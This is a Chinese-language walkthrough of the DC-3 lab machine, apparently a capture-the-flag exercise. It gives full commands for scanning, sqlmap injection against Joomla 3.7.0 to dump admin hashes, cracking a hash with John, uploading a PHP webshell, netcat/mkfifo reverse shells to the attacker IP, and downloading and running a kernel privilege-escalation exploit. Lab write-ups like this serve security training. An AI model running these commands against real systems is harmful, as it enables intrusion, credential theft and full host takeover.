目录
DC-3靶机渗透测试
DC-3也是一个黑盒测试,我们所能知道的只有它的MAC地址,我们可以根据它的MAC地址来确定IP地址
一、实验环境
实验环境:
kali2021:192.168.3.155/24(桥接到vmnet0)
靶机环境DC-3(桥接到vmnet0,MAC地址:00:0C:29:2C:47:A4)
保证kali和DC-3在同一个网段
二、渗透过程演示
1、信息搜集
①搜集IP和端口
利用nmap或者是netdiscover
使用命令:netdiscover或者 netdiscover -r 192.168.3.0/24或者nmap -sP 192.168.3.1/24 -o nmap.sP,得知DC-3的IP地址为192.168.3.159
接下来对DC-3做端口扫描
nmap -A 192.168.3.159 -p 1-65535 -oN nmap.A 发现仅开放了80端口
访问192.168.3.159这个网页,如下图所示
我们发现好像不太能够确定网站究竟使用的是什么,我们对网站做指纹识别,做指纹识别的时候我们用whatweb命令。
whatweb -h查看命令用法
命令:whatweb http://192.168.3.159,发现是Joomla,开源的内容管理系统
国外三大开源的PHP CMS :
1、drupal
2、wordpress site
3、joomla发现是joomla,这个就可以使用网站针对这个cms的扫描器Joomscan,kali默认是没有安装的,需要自己手动安装
joomscan专门扫描joomla
②joomscan安装和使用
Joomscan安装
git clone https://github.com/rezasp/joomscan.git
或者apt install joonscan(√)
使用方法
joomscan --url http://192.168.3.159
上面那些目录都是可以看的
得到joomla对应版本以及后台地址http://192.168.3.159/administrator/,看看能不能得到网站后台的账密,做爆破(这是绝招,不到万不得已不建议用)
2、SQL注入
③搜索关于joomla3.7.0有没有漏洞(exploitdb查找对应exp)
在kali自带的exploitdb中查找对应版本的joomla漏洞
searchsploit joomla 3.7.0 发现了有SQL注入漏洞
接下来把这个文件复制到当前路径下:cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomlav370_sqli.txt
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
执行前把地址改一下:localhost改为192.168.3.159sqlmap -u "http://192.168.3.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
--dbs是列出当前服务器中的mysql数据库中都有哪些库名:
爆库名:--dbs
、
列出当前数据库的名字:--current-db
sqlmap -u "http://192.168.3.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
爆表:-D "joomladb" --tables
sqlmap -u "http://192.168.3.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
查询列、字段:-D "joomladb" -T "#__users" --columns
sqlmap -u "http://192.168.3.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
给个路径写1,线程写10
列目录(name,password):-C指定字段 -C "name,password" --dump
sqlmap -u "http://192.168.3.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
name | password
+---------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
使用John解密
著名密码破解利器John the Ripper
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
将上述密文写到一个文件里面:vim joomla_v370_admin_hash.txt
john joomla_v370_admin_hash.txt 解出密码:snoopy
3、登录后台
admin | snoopy 成功登陆后台
登录进后台,发现可以修改网页源代码
这个地方如果可以修改PHP文件的话,那就可以直接写一个PHP大马/小马,要找到路径,根据joomla网站特点,一般在/templates下
在template栏中发现可以写文件和上传文件。我们可以写一个小马上传上去
点击NewFile创建文件(yjh.php)
接下来打开蚁剑
右键查看虚拟终端:whoami
4、反弹shell
kali 本地监听
nc -lvvp 2333
蚁剑虚拟终端
nc -e /bin/bash 192.168.3.155 2333
-e 参数不可用
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.155 2333 >/tmp/f
反弹成功!!!
5、提权
①信息收集
cat /proc/version查看版本
cat /etc/issue查看发行版信息
发现该靶机版本为Ubuntu 16.04
②在exploitdb中查找对应版本的joomla漏洞
输入如下命令查看该版本漏洞
searchsploit Ubuntu 16.04
使用39772.txt进行提权
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu1604_shell.txt
cat ubuntu1604_shell.txt
先把exp下载到kali镜像中
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
在反弹shell 的界面测试,发现访问失败,原因是我们的电脑无法访问国外的服务器
解决方法:我们先将39772.zip 文件下载至本地,本地搭建服务器,将文件上传至服务器,
我们直接访问本地服务器下载文件即可
直接在靶机中下载容易失败。我们先下载到本地,在kali中搭建服务,并将exp压缩包上传上去
EXP资源
链接:https://pan.baidu.com/s/1AeuJrP-T6elka5aZP9KL9g
提取码:0fkw
将下载的压缩包放到/var/www/html/文件夹下
接下来只需要在shell中输入如下命令即可将exp下载到靶机(DC-3)中
wget http://192.168.3.155/39772.zip(192.168.3.155是kali的IP,把kali上的文件下载到DC3)
之后解压该文件
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
改个密码:
总结:
1、Joomscan可针对JoomlaCMS进行扫描
2、使用kali自带exploitdb库可查询kali收集的各种exp,命令为Searchsploit 程序名称 版本
3、使用John对hash值解密
4、bash反弹shell